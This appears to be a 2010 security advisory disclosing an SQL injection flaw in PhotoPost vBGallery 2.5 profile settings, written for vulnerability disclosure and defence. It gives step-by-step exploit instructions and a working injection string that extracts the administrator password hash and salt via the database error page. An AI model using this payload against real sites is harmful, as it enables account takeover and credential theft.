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SQL Injection Vulnerabilitie in PhotoPost vBGallery 2.5


From: Andreas Kirbach <andreas.kirbach () gmxpro de>
Date: Sun, 28 Mar 2010 15:09:47 +0200

Product Imnformation
--------------------
PhotoPost vBGallery is a popular commercial Image Gallery Add-on für vBulletin which is being developed by All Enthusiasts, Inc.
http://www.photopost.com

Description
-----------
PhotoPost vBGallery 2.5 allows the user to modify gallery settings for his profile page if the function is enabeld and the user has permission to do so.

For this function to work, PhotoPost vBGallery adds a Plug-in to hook profile_start. The PHP code on this plug-in is being used to display a form which does allow the user to customize the settings and save the settings into the database.

The SQL constructed for action updatevbgallery does contain variables that are not properly sanitized:

The POST variables profile_include and profile_exclude are treated as HTML-Safe strings ad unses with the SQL directly althou only commaseparated integers are valid. POST variable profile_showimg is also processed as a HTML-safe string altouth only integer values are valid. POST variable profile_column is also processed as a HTML-safe string but not being made SQL-safe. POST variable array profile_imagebitdisplay is being stored without being made SQL-safe

Versions
---------
Affected Version(s): 2.5
Not affected Versions: Versions prior to 2.5

Exploit
-------
This exploit shows how the get the password hash and salt of an administrator account.

Preconditions
- No table prefix is being used
- The gallery functions are enabled for member profiles
- User-ID of an adminitrator account is 1
- The vBulletin database error page is unmodified and shows the executed SQL as an HTML comment
- The account being used has permissions to modify gallery profil settings

1) Go to <forumroot>/profile.php?do=vbgalleryprofile
2) Using Firebug, remove the maxlength attribute for the input labeled Exclude Catagories
3) Enter
', profile_exclude = (SELECT CONCAT(password, '|||', salt) FROM user WHERE userid = 1), profile_include = '
   into the imnput field Exclude Catagories
4) Submit the form
5) Access your own profile page (<forumroot>/member.php?u=X)
5) The HTML source of the database error page will contain an HTML comment like
---
Invalid SQL:

SELECT imageid, images.title, images.description, filename, thumbname, originalname, extension, images.catid ,images.userid, images.username, images.description, images.dateline, images.views, posts ,width, height, originalwidth, originalheight ,filesize, originalfilesize, images.lastpostdateline, images.lastpostuserid, images.lastpostusername, votenum, votetotal, categories.title AS cattitle
    FROM ppgal_images AS images
    LEFT JOIN ppgal_categories AS categories USING (catid)
    WHERE  valid = 1  AND images.userid = 5


AND images.catid NOT IN (abcdef12344777148822d7530f089fbd|||.%&/)
AND images.thumbname != ''
---
The string after "AND images.catid NOT IN (" is the password hash and salt of user ID 1 separated by |||

Suggested Fixes
---------------
Properly sanitize user input and run strings trough $db->escape_string() before saving them into the database

Patches
-------
All Enthusiasts, Inc. was informed about this vulnerbilitie on 2010/03/17 but has not yet released a patch.


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